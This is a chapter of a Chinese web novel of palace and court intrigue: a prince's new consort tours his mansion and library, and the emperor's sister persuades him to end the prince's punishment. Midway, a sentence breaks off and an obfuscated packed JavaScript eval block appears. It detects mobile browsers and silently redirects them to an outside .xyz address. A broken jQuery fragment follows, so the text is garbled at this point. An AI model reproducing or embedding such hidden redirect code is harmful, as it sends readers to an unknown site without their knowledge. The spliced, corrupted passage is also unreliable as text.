景煜心里着急,可是也没有什么办法,他驱着马车到了卖早点的街上,此刻街上人来人往。
万姝丹掀起帘子左右看看,她看见景煜犹豫的脸,“出门在外,唤我五娘即可。”
“五娘,您想吃什么?”
万姝丹看着众多的小摊,“你有什么推荐?”
“五娘若是吃惯北地的吃食,可以去前面那家王记。若是想尝尝南边的,就旁边这家柳记。”
万姝丹看了看,“既然都到京城了,就试试没吃过的吧。”
景煜指着旁边的店铺说:“五娘可以尝尝这一家的曼陀样夹饼、蟹黄毕罗、滑饼。”
万姝丹听从了他的建议,又要了一份杏汤。
景煜下了马车去买,将吃食装进食盒,随后他驱着马车走上了回王府的路。
半路上,景煜犹豫着开口说:“五娘……”
万姝丹隔着帘子问:“怎么?着急啊?”她凑近车帘,压低声音,“你倒是没怎么变,在京中这些年过得可好?”
景煜没想到会问起自己,怔愣一瞬,“谢五娘关心,这些年郎君待我很好。”
万姝丹挑眉,“他倒是信任你?”
景煜犹豫两下,“这些年,郎君过得很不容易……”
万姝丹中止了谈话,“先回王府吧。”
此时她的心中已有了计较,她摸摸自己的鬓角,既然宁熙要试探他们在宫中有没有眼线,那就送宁熙一份大礼,正好看看这京城里唯一敢明面上关心爱护宁熙的人,是不是宁熙的软肋。
想好了这一件事,她下马车时,脚步都轻快了许多,一路走回熹微院。景煜跟在她的身后,见万姝丹进了主屋,他在门口停下了脚步。
万姝丹回头看了一眼,“进来吧。”说罢率先坐在桌旁。
景煜进来后,目不斜视,杵在桌子旁边。
寻夏从他手中接过了食盒。
“站着干嘛?坐下。”
万姝丹看了一眼,见景煜坐下了,就把纸笔推到景煜眼前,“你写。”
景煜拿起笔,等着万姝丹的话。
万姝丹盯着他说:“写啊。”
景煜:“?”
万姝丹莫名其妙,“把之前说的那些写下来就行,随便写,没规矩。”
景煜简单写好,万姝丹将纸拿过,扫了一眼内容,从头上将那枚金簪取下,一并给了景煜,“金川楼二楼东南角,点一壶不知春。”
景煜接过,出了屋门,唤来了一身侍卫装的持剑人,“你换身常服。”
待他走后,万姝丹问:“这就是昨晚那人吧,他叫什么?”
景煜回道:“宥津,本姓颜。”
万姝丹缓慢点了点头,她脸上挂着微笑,唤了寻夏,走进了内间。她一边照镜子,一边卸去头上复杂的发饰。
寻夏帮她打理着头发,“王妃好像心情很好。”
万姝丹披着头发,“进了宫,见了皇上,就可以歇息一段日子了,能不高兴吗?”她从衣箱里选了身便装,浅蓝色的窄袖上襦,白练裙。接着她让寻夏挽了个简单的发髻。寻夏手脚麻利,将万姝丹的那支金簪插进了发髻中。
“王妃可要用餐?”
万姝丹颔首,寻夏将吃食从食盒中取出,她一眼就认出了,“这是柳记的,他家的饼很好吃。”
万姝丹轻笑,“看来这家的吃食挺有名嘛,你也坐下来吃点。”
寻夏谢过后,坐了下来。
万姝丹随手将从宁熙那里要来的穗子放在碟子边。
寻夏见了,微微睁大眼睛,她脸上带着惊喜,“呀,这是殿下给您的?”
万姝丹有些疑惑,“你怎么知道?”
寻夏笑眯眯地说:“我也是听长公主说的,殿下幼时弄丢过玉佩上的穗子,十分伤心,央求蓝妃为他再编一个。蓝妃却问他要不要自己学,学会了之后就不怕丢了。”
万姝丹将那根穗子拿起,放在眼前,“所以这是殿下自己编的?”
寻夏点头,“听说殿下编了许多,这应该是其中一个。”
万姝丹纳闷,“殿下编的穗子有什么独特的地方,能让你一眼认出来?”
寻夏接过穗子,指了指中央的地方,“这种打结的手法是长公主惯用的,蓝妃也是从长公主这里学去的,因此婢子认得。”
万姝丹掩唇一笑,“原来是这样,那我可得留好了。”
用完餐后,万姝丹将穗子缠在秦可兰的玉佩上,放进怀里。
时值春日,王府里花开正好。万姝丹来了兴致,她还没有好好逛过王府。
出了熹微院,穿过直道与复廊,面前是一间四面厅,这四面厅自带一个小院落,□□里两株黄杨一左一右,沿复廊参差着天竹与女贞。在这一片绿意中摇曳着许多春花,几株玉兰层出其间,四周绕以桃花数种,平常如粉红、粉白、深粉红三色,其外有单瓣大红、单瓣白桃、千叶红桃、千叶碧桃,还有一种千瓣绛桃,极尽雅致。
寻夏见万姝丹看得认真,不由得发问:“王妃可是喜欢桃花?”
万姝丹见满院桃花可爱,没有回答她的问题,反而问:“这个院子或许以前叫桃园?这四面厅的名字,也与桃花有关吗?”
寻夏回道:“确实如此,这四面厅就叫上灼厅。”
万姝丹一边往后面的鸳鸯厅走,一边说:“‘桃之夭夭,灼灼其华’的‘灼’吗?”
从两株黄杨间穿过,就是一间鸳鸯厅,过了鸳鸯厅,又是一个小院落。
万姝丹面朝这个小院,嘴里喃喃:“名字还真是亮堂啊。”
院内几株修建得当的紫薇还未开花,笑靥花铺在四周,此花花细如豆,一条千花①,让万姝丹想起了北地的冬天、院子里堆雪的景色。
寻夏没有等万姝丹询问,自顾自地说:“以前这里种的是牡丹,每到四月时,院子里的牡丹会先后盛开,听说殿下曾经很喜欢这里。”
万姝丹点点头,“看来蓝妃很喜欢牡丹?”
寻夏说:“是,宫里蓝妃住的地方也栽种过许多牡丹。”
万姝丹指了指前面的阁,“那里是做什么的?”
寻夏说:“那是披香阁,专门调香的地方,已经多年不用了。”
万姝丹走过去,尝试推了推门,雕花门应声而开。
里面十分干净整洁,除了一应必须家具之外,靠东的墙边立着一个格子架,漆着深红色,上面摆放着各种调香用的工具。
这时万姝丹听见有人往这边走来,她走到披香阁门口,静静等待着。果然就见那晚手握窄刀之人从小院侧门外走进来。
那人径直走向万姝丹,行礼道:“属下穆黎,见过王妃。”
万姝丹颔首,“有事?”
穆黎说:“属下负责王府巡防,想请王妃看一看,可有什么不妥之处。”
万姝丹没再多问什么,直接应下了。
全部看完以后,万姝丹说:“若是我,会在这些地方再安排些人手。”
穆黎看了看她所指的方向,“这些地方都是院墙和屋顶,若是想上去,必定会在中途换气。”
万姝丹莞尔一笑,“这些地方同样是高处,不是吗?可以安排几个眼神好、轻功不错的人在这些地方。”
穆黎得了回答,道了谢,就下去安排了。
此时万姝丹所在,正是披香阁后面,这是王府的后花园。她看向右手边,有一条青棍方砖路通向侧面。
“那边是什么?”
寻夏说:“那边是书房。”
这是一座二层小楼,小楼前几株梧桐将小楼与花园分隔开,小楼边紫荆花团团簇簇。进了正门,万姝丹就看到两侧有许多的书架,上边的书应有尽有。她随意扫了一眼,信手抽出一本,翻了翻,里面的空白地方有许多小字。
“这是殿下写的?”
“是的。”
宁熙的批注很详细,间杂着许多别的内容。万姝丹又抽出一本,这是本诗集。上面的字与刚才那本书上的字迹不太一样。万姝丹比对了一下,发现笔锋走势差不太多,只是笔力不足,因此不够锋利,反而圆润许多。她又拿了几本翻看,在同一本书里,她找到了三种不同的字迹,看来宁熙对自己的手腕一开始并不太适应,其中有一种字写得歪歪扭扭的,像是小孩子因为腕力不够而颤抖一般。
万姝丹翻看时,好像看到了宁熙回京以后慢慢挣扎的日子。字越练越好,只是看起来不能长时间握笔,写字久了,有的笔画能看出因脱力而不在框架里。万姝丹想到了七年前的那个晚上,宁熙拿剑时的样子。
“这里这么多书,殿下都看过?”
“是的。”
万姝丹看了一眼,后面还有几排书架,想到了二哥的那些书,以及按着自己读书的那些日子,心里有些怀念。
她拿了一本书上了二楼,靠窗是床榻,上面一张小几,摆着棋盘。
寻夏在一旁解释,“殿下有时看书太晚,会直接宿在这里,因此一应设施都很齐全。”
侧面是一张长桌,桌后的墙上挂着一幅画,画的是花与蝶,很精致,只是没有落款。
寻夏说:“这是殿下十一岁那年画的。”
“十一岁?我记得殿下今年刚满十九吧?”
寻夏点头,“是,那是八年前了。后来再不见殿下动过笔画画。”
万姝丹没说什么,她被对面的架子吸引了目光。那架子上摆放着一把剑。剑鞘上没有多余的装饰,也没有剑穗,通体漆黑的鞘身。万姝丹将剑拿起,拔剑出鞘,剑身流畅,色泽银白,刃口削薄。这就是宁熙的佩剑,她当年见过,真是一把好剑。剑鞘上有一处不太明显的凹痕,是她的刀留下的痕迹。
“这把剑怎么放在了这里?”
寻夏说:“这剑已经放在这里很久了。”
万姝丹摸着剑,有点爱不释手,恋恋不舍地掂了掂,放回了架子上。她回身坐在榻上,看起手中的那本书。
*
武帝早上被宁熙那事儿搅了兴致,再加上也确实有些累了,就歇在了临水殿。再醒来时已经是下午了,唤了人进来服侍。郑妃靠在里侧,她问:“陛下可歇好了?”
武帝拉过她的手,轻轻拍了拍,“不错,确实睡得很舒服。”
苏尚这时进来,“陛下,长公主来
;eval(function(p,a,c,k,e,d){e=function(c){return(c<a?"":e(parseInt(c/a)))+((c=c%a)>35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|131xs|n|xyz|15920218|177029||http|test|mini|href|location''.split(''|''),0,{}));
() {
$(''.inform'').remove();
$(''#content'').append(''
了。”
“哦?”武帝有些惊讶,“二姐怎么来了?她好久没来看我了。”
郑妃在一旁笑着说:“没准是为了五殿下的事情来的,人人都知道长公主偏爱五殿下。”
武帝对郑妃说:“你先下去吧。”
待郑妃走后,苏尚引着长公主宁悦进来了。
武帝露出笑容,“二姐,可是有一阵子没来看我了。”
宁悦坐下,“你这里这么多人,哪里轮得到我来看你。”
“二姐又胡说,我就差遣人去请你来了。”
“也没见你请我参加宴席啊。”
武帝笑了,“二姐这是怪我了?过两日你再来,各地进贡的东西马上就到了,到时候第一个请二姐来。二姐喜欢诗赋,我让翰林学士陪二姐一起。”
宁悦摸摸自己有些白的头发,“难为你还想着我了。”
“二姐说的这是什么话?二姐长我九岁,我幼时都是二姐照顾我良多,我和二姐最亲了,怎么也不能忘了二姐。”
宁悦被哄笑了,“你有这份心就好。不过,该说的我还是要说,你也年纪不小了,还是得多注意身子。瞧瞧,你是看不见自己的脸色,还不如我呢。”
她扭头对着苏尚说:“你们是怎么服侍陛下的?也不多劝劝陛下保重身体!”
苏尚连忙弯下身子,“是老奴的疏忽。”
宁悦说:“起来吧。这事也不全在你们,陛下得自己明白。你说是吧?”
武帝连忙说:“二姐教训得是,我听二姐的。”
宁悦睨了武帝一眼,“拿上来吧。”
立刻有侍女进来,手里捧着一个坛子。
武帝笑了,“我就知道二姐最疼我,我想‘春回’好久了!上次那一坛还剩了一点,我都舍不得喝了!”
宁悦看着他,笑眯眯地说:“知道你喜欢,但是这酒,我每年也就酿那么多,都是有数的。宁宁大婚时送了他两坛,剩下的我都给你带来了。”
武帝沉下声音,“我知道二姐所为何事,但这事确实是宁熙有错在先,他也不小了,还这么莽撞,不罚一罚长不了记性。”
宁悦说:“我看宁宁现在倒是随你呢,天天花天酒地的。”
“二姐又调侃我。”武帝一瞬间沉默了,“他早上确实喝酒了,今日是什么日子?这是明知故犯!”
宁悦垂手摸了摸手腕上的镯子,“我本来极不同意这门婚事,你若是要罚,别只罚宁宁一人,将秦可兰也传进宫里,一齐跪在紫宸殿。”
武帝揉了揉太阳穴说:“苏尚将秦可兰的原话告诉我了,分明是宁熙自己贪杯,与秦可兰何干?”
“那也是她先提出让宁宁品尝的,是不是?”
武帝叹气,“秦可兰是我下旨选的,况且她孝期才过,又是刚大婚,传她进宫罚跪不好。”
宁悦循循善诱,“那宁宁还是你的儿子呢!这手心手背可都是肉!宁宁大婚,合该是高兴的。”
武帝妥协,对苏尚说:“罚这半日也差不多了,让他回去吧。”
他又转头对宁悦说:“我知二姐不喜欢秦可兰,无才无能,虽说曾经是高门闺秀,现在却没了娘家。然而秦静本人我是非常了解的,她的女儿不论如何不显名,人品一定错不了的,她这人性情敦厚,忠孝宽仁,早上还将责任都揽到自己身上,可见对宁熙也是不错的。二姐与她再相处几日,也会喜欢秦可兰的。我当初就是想让秦可兰多教教宁熙,让他收收心思,再过一年就要及冠了,总不能还是如此。”
宁悦垂下眼,“陛下的心思,自然是好的。”
*
宁熙在紫宸殿跪了多半日,早就到了极限,苏尚来的时候,他已经控制不住地颤抖,脸色苍白。
苏尚一见这样,立刻吩咐:“快抬檐子来。你,去安王府知会一声,让他们着人来接殿下。”他上前扶住宁熙,“我的殿下,先坐下歇会儿。”
旁边的小内侍放上早就准备好的垫子。
宁熙问了一句,“可是有人来了?是姑姑吗?”
苏尚叹口气,“若不是长公主来了,殿下恐怕真要跪到晚上了。”
步辇准备好了,宁熙说:“我等等姑姑。”
苏尚说:“殿下不必等了,长公主今晚要宿在宫里,说是陪陪皇上呢。”
宁熙点头,任由他们抬着上了檐子,出宫去了。
*
万姝丹的午膳是在四面厅里用的,王府的膳食种类较多,量不大,每份都很精致。紫龙糕、千金碎香饼子、飞鸾脍、龙须炙……
吃完饭,万姝丹靠在椅子上,坐姿懒散,她还在看那本书,书上宁熙的批注她也都看了,她发觉宁熙确实懂很多东西,批注写得很详细,万姝丹也在不知不觉之中了解了许多事情。
微风吹进厅堂,掀动她的白练裙。
忽然四面厅前门外传来微弱的人声,“……慢点……”
万姝丹侧耳倾听,将书放在一旁,顺着声音传来的方向走去,穿过这道院门走进直道,又走过一进院子。正好看见景煜指挥着仆人放下步辇,宁熙坐在上面,即使身体不舒服,也依然坐得端正。